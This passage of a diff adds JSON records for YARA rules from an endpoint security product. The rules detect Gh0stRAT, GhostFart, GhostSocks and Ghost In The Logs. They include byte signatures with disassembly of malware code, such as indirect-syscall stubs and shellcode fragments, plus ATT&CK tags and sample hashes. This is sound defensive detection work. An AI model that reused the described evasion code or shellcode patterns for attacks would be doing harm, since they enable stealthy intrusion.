         // push    0               ; StackSize\n            6A 00                                         // push    0               ; Security\n            C7 05 ?? ?? ?? ?? 20 01 00 00                 // mov     dword_100176AC, 120h\n            E8                                            // call    sub_1000A1B0\n        }\n\n    condition:\n        (1 of ($s*) and $x_code) or\n        (2 of ($x*)) or\n        (2 of ($s*) and 1 of ($x*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gh0strat"
+  ],
+  "rule_creation_date": "2024-05-28",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Gh0stRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1113",
+    "attack.t1056.001",
+    "attack.t1132.001",
+    "attack.t1082",
+    "attack.t1573"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ghostfart_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563808Z",
+  "creation_date": "2026-03-23T11:46:25.563811Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563816Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mansk1es/GhostFart"
+  ],
+  "name": "ghostfart.yar",
+  "content": "rule ghostfart {\n    meta:\n        title = \"GhostFart\"\n        id = \"095c7310-0bac-41f8-b4ab-a660282c5c8a\"\n        description = \"Detects GhostFart, an open-source project performing unhooking via indirect syscalls.\\nGhostFart is a tool designed to bypass anti-debugging mechanisms by hooking system functions. It operates by creating a reflective PE loader from a resource section, allowing it to execute malicious payloads directly in memory without writing to disk. This technique makes it particularly stealthy and effective at evading traditional detection methods.\\nIt is recommended investigate the process' memory for potential malicious payloads or injected code.\"\n        references = \"https://github.com/mansk1es/GhostFart\"\n        date = \"2024-03-25\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Windows.Generic.GhostFart\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 08246e26ecc49817a6124c240ab96483cebaf88f169985b9e900eaaf4c60500b\n        // 0d9016c5c9d9ad0f6004bbe3353aab39a9c05baa8af6203e06bbf69992f8f938\n\n        $s1 = \"\\\\??\\\\C:\\\\Windows\\\\System32\\\\WEB.rs\" wide\n\n        $clear_ntdll = {\n            B9 05 00 00 00                              // mov     ecx, 5\n            E8 ?? ?? FF FF                              // call    GetNTDLLFunc\n            48 89 05 ?? ?? ?? 00                        // mov     cs:qword_14001CAE8, rax\n            B9 B3 74 AF 06                              // mov     ecx, 6AF74B3h\n            E8 ?? ?? FF FF                              // call    GetNTDLLFunc\n            48 89 05 ?? ?? ?? 00                        // mov     cs:qword_14001CAF8, rax\n            48 C7 84 24 ?? 00 00 00 00 00 00 00         // mov     [rsp+0F8h+var_48], 0\n        }\n\n        $generic_my_nt = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 ?? ?? ?? ??                // mov     ecx, 805225Dh\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 ?? ?? ?? ??                // mov     ecx, 805225Dh\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtCreateSection\n        $my_ntcreate_section = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 5D 22 05 08                // mov     ecx, 805225Dh\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 5D 22 05 08                // mov     ecx, 805225Dh\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtCreateProcessEx\n        $my_ntcreate_processex = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 87 99 D5 07                // mov     ecx, 7D59987h\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 87 99 D5 07                // mov     ecx, 7D59987h\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtCreateFile\n        $my_ntcreate_file = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 55 62 BC 05                // mov     ecx, 5BC6255h\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 55 62 BC 05                // mov     ecx, 5BC6255h\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtReadVirtualMemory\n        $my_ntread_virtual_memory = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 05 82 BC 06                // mov     ecx, 6BC8205h\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 05 82 BC 06                // mov     ecx, 6BC8205h\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtAllocateVirtualMemory\n        $my_ntallocate_virtual_memory = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 49 11 1F 05                // mov     ecx, 51F1149h\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 49 11 1F 05                // mov     ecx, 51F1149h\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtFreeVirtualMemory\n        $my_ntfree_virtual_memory = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 49 11 1F 05                // mov     ecx, 51F1149h\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 49 11 1F 05                // mov     ecx, 51F1149h\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtTerminateProcess\n        $my_ntterminate_process = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 E3 4E 0E 07                // mov     ecx, 70E4EE3h\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 E3 4E 0E 07                // mov     ecx, 70E4EE3h\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtProtectVirtualMemory\n        $my_ntprotect_virtual_memory = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 49 BF 4C 09                // mov     ecx, 94CBF49h\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 49 BF 4C 09                // mov     ecx, 94CBF49h\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n        // MyNtMapViewOfSection\n        $my_ntmap_view_of_section = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            B9 99 89 BD 05                // mov     ecx, 5BD8999h\n            E8 ?? ?? FF FF                // call    GetNTDLLFunc\n            4C 8B F8                      // mov     r15, rax\n            B9 99 89 BD 05                // mov     ecx, 5BD8999h\n            E8 ?? ?? FF FF                // call    SyscallNum\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            4C 8B D1                      // mov     r10, rcx\n            41 FF E7                      // jmp     r15\n        }\n\n    condition:\n        (all of ($s*) and $clear_ntdll) or\n        (#generic_my_nt > 5) or\n        (4 of ($my_nt*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ghostfart"
+  ],
+  "rule_creation_date": "2024-03-25",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.GhostFart"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ghostsocks_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567599Z",
+  "creation_date": "2026-03-23T11:46:25.567601Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567607Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostsocks\nhttps://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/\nhttps://www.rapid7.com/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/"
+  ],
+  "name": "ghostsocks.yar",
+  "content": "rule ghostsocks {\n    meta:\n        title = \"GhostSocks HackTool\"\n        id = \"b15d8be3-afad-4642-a069-4fd7545fcf86\"\n    description = \"Detects GhostSocks, a Golang-based SOCKS5 proxy malware first offered as Malware-as-a-Service on Russian underground forums in October 2023.\\nThis proxy tool has been linked to LockBit ransomware campaigns and allows threat actors to route traffic through compromised systems for internal network access.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostsocks\\nhttps://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/\\nhttps://www.rapid7.com/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/\"\n        date = \"2025-01-29\"\n        modified = \"2025-05-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1090;attack.t1573.001;attack.t1571\"\n        classification = \"Windows.HackTool.GhostSocks\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n        context = \"process,memory,thread,file.pe\"\n\n    strings:\n        // Detection for this sample:\n        // ced4ee8a9814c243f0c157cda900def172b95bb4bc8535e480fe432ab84b9175\n\n        $go = \" Go build\" ascii\n\n        $s2 = \").ConnectForSocks\" ascii\n        $s3 = \").GetAvailableRelayServer\" ascii\n        $s4 = \"updateHiddenkilleduserIdconfig\" ascii\n        $s5 = \"path%s %q%s=%sHTTP/socksFound\" ascii\n\n        $m1 = \"F<>proxyUsername\" ascii fullword\n        $m2 = \"buildVersion=\" ascii fullword\n        $m3 = \"/api/helper-first-register\" ascii\n\n    condition:\n        (\n            $go and\n            all of ($s*)\n        )\n        or\n        (\n            2 of ($s*) and\n            all of ($m*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ghostsocks"
+  ],
+  "rule_creation_date": "2025-01-29",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.GhostSocks"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1573.001",
+    "attack.t1571"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gitl_463502002ddc_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585068Z",
+  "creation_date": "2026-03-23T11:46:25.585070Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585076Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/Ghost-In-The-Logs"
+  ],
+  "name": "gitl_463502002ddc.yar",
+  "content": "import \"pe\"\n\nrule gitl_463502002ddc {\n    meta:\n        title = \"GITL Tool (463502002ddc)\"\n        id = \"faf5e786-95ea-4105-93a7-463502002ddc\"\n        description = \"Detects the use of Ghost In The Logs (GITL) tool through its clear strings markers.\\nThese strings are related to error messages and logs generated by GITL during its setup or operation, such as driver loading, hooking attempts, and communication with the kernel driver.\\nThe tool is primarily used for kernel hooking and debugging purposes.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/bats3c/Ghost-In-The-Logs\"\n        date = \"2021-04-09\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562\"\n        classification = \"Windows.Tool.GITL\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $shellcode = {\n            C7 00 E8 00 00 00                       // mov     dword ptr [rax], 0E8h ; 'è'\n            [0-3]                                   // mov     rcx, rdi\n            C7 40 04 00 41 58 49                    // mov     dword ptr [rax+4], 49584100h\n            C7 40 08 83 E8 05 EB                    // mov     dword ptr [rax+8], 0EB05E883h\n            C6 40 0C 03                             // mov     byte ptr [rax+0Ch], 3\n        }\n\n    condition:\n        $shellcode\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gitl_463502002ddc"
+  ],
+  "rule_creation_date": "2021-04-09",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.GITL"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gitl_c96470795d0e_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576605Z",
+  "creation_date": "2026-03-23T11:46:25.576607Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576612Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/Ghost-In-The-Logs"
+  ],
+  "name": "gitl_c96470795d0e.yar",
+  "content": "import \"pe\"\n\nrule gitl_c96470795d0e {\n    meta:\n        title = \"GITL Tool (c96470795d0e)\"\n        id = \"a7f12b03-2527-43bc-9958-c96470795d0e\"\n        description = \"Detects the use of Ghost In The Logs (GITL) tool through its clear strings markers.\\nThese strings are related to error messages and logs generated by GITL during its setup or operation, such as driver loading, hooking attempts, and communication with the kernel driver.\\nThe tool is primarily used for kernel hooking and debugging purposes.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/bats3c/Ghost-In-The-Logs\"\n        date = \"2021-04-09\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562\"\n        classification = \"Windows.Tool.GITL\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n\n        $shellcode = {\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 00                             // imul    rax, 0\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 E8                             // mov     byte ptr [rcx+rax], 0E8h ; 'è'\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 01                             // imul    rax, 1\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 00                             // mov     byte ptr [rcx+rax], 0\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 02                             // imul    rax, 2\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 00                             // mov     byte ptr [rcx+rax], 0\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 03                             // imul    rax, 3\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 00                             // mov     byte ptr [rcx+rax], 0\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 04                             // imul    rax, 4\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 00                             // mov     byte ptr [rcx+rax], 0\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 05                             // imul    rax, 5\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 41                             // mov     byte ptr [rcx+rax], 41h ; 'A'\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 06                             // imul    rax, 6\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 58                             // mov     byte ptr [rcx+rax], 58h ; 'X'\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 07                             // imul    rax, 7\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 49                             // mov     byte ptr [rcx+rax], 49h ; 'I'\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 08                             // imul    rax, 8\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 83                             // mov     byte ptr [rcx+rax], 83h ; 'ƒ'\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 09                             // imul    rax, 9\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 E8                             // mov     byte ptr [rcx+rax], 0E8h ; 'è'\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 0A                             // imul    rax, 0Ah\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 05                             // mov     byte ptr [rcx+rax], 5\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 0B                             // imul    rax, 0Bh\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 EB                             // mov     byte ptr [rcx+rax], 0EBh ; 'ë'\n            B8 01 00 00 00                          // mov     eax, 1\n            48 6B C0 0C                             // imul    rax, 0Ch\n            48 8B 0D ?? ?? ?? ??                    // mov     rcx, cs:qword_1400393E0\n            C6 04 01 03                             // mov     byte ptr [rcx+rax], 3\n        }\n\n    condition:\n        $shellcode\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gitl_c96470795d0e"
+  ],
+  "rule_creation_date": "2021-04-09",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.GITL"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gitl_e95c368869e2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572284Z",
+  "creation_date": "2026-03-23T11:46:25.572286Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572292Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/Ghost-In-The-Logs"
+  ],
+  "name": "gitl_e95c368869e2.yar",
